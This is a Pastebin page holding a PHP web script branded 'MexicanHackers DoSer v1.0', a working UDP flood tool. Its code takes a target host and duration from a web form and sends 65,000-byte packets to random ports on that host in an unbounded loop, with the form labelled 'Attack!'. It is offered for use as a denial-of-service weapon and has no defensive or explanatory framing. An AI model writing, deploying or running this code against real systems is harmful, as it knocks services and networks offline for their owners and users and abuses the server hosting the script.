Advertisement
Z3R089

DoSer UDP

Feb 22nd, 2014
152
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.01 KB | None | 0 0
  1. <html>
  2. <body>
  3. <center>
  4. <title>
  5. DoSer
  6. </title>
  7. <font color="green">
  8. <img src="http://profile.ak.fbcdn.net/hprofile-ak-snc4/203606_216562651713545_2810634_n.jpg" align=center>
  9. <h2><tt><font color="white">MexicanHackers DoSer v1.0 :) </h2></tt></font>
  10. <STYLE>
  11. input{
  12. background-color: #fffaf0; font-size: 10pt; color: black; font-family: Tahoma; border: 1 solid #66;
  13. }
  14. button{
  15. background-color: #fffaf0; font-size: 10pt; color: black; font-family: Tahoma; border: 1 solid #66;
  16. }
  17. body {
  18. background-color: black;
  19. }
  20. </style>
  21. <br>
  22. <p>
  23. <br>
  24. <p>
  25. <center>
  26. <?php
  27. //UDP
  28. if(isset($_GET['Host'])&&isset($_GET['time'])){
  29.     $packets = 0;
  30.     ignore_user_abort(TRUE);
  31.     set_time_limit(0);
  32.  
  33.     $exec_time = $_GET['time'];
  34.  
  35.     $time = time();
  36.     //print "Started: ".time('d-m-y h:i:s')."<br>";
  37.     $max_time = $time+$exec_time;
  38.  
  39.     $Host = $_GET['Host'];
  40.  
  41.     for($i=0;$i<65000;$i++){
  42.     $out .= 'X';
  43.     }
  44.     while(1){
  45.     $packets++;
  46.     if(time() > $max_time){
  47.   break;
  48.     }
  49.     $rand = rand(1,65000);
  50.     $fp = fsockopen('udp://'.$Host, $rand, $errno, $errstr, 5);
  51.     if($fp){
  52.   fwrite($fp, $out);
  53.   fclose($fp);
  54.     }
  55.     }
  56.     echo "<b>Attack</b><br>Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second \n";
  57.     echo '<h3><h3>
  58. <form action="'.$surl.'" method=GET>
  59. <input type="hidden" name="act" value="phptools">
  60. Host: <h3><input type=text name=Host><h3>
  61. Length (seconds): <br><input type=text name=time><br>
  62. <input type=submit value=Go></form>';
  63. }else{ echo '<h3><b>Attack!</b></h3>
  64.   <form action=? method=GET>
  65.   <input type="hidden" name="act" value="phptools">
  66.   Host: <h3><input type=text name=Host value=><h3>
  67.   Time (seconds): <h2><input type=text name=time value=><h3><h3>
  68.   <input type=submit value=Start!></form>';
  69. }
  70. ?>
  71.  
  72. <font color="white"><h4>Code Fixed & Designed By ./MexicanHackers (c) 2013-2014 Twitter: @HackersMx @TerryBits</h4></font>
  73. </center>
  74. </body>
  75. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement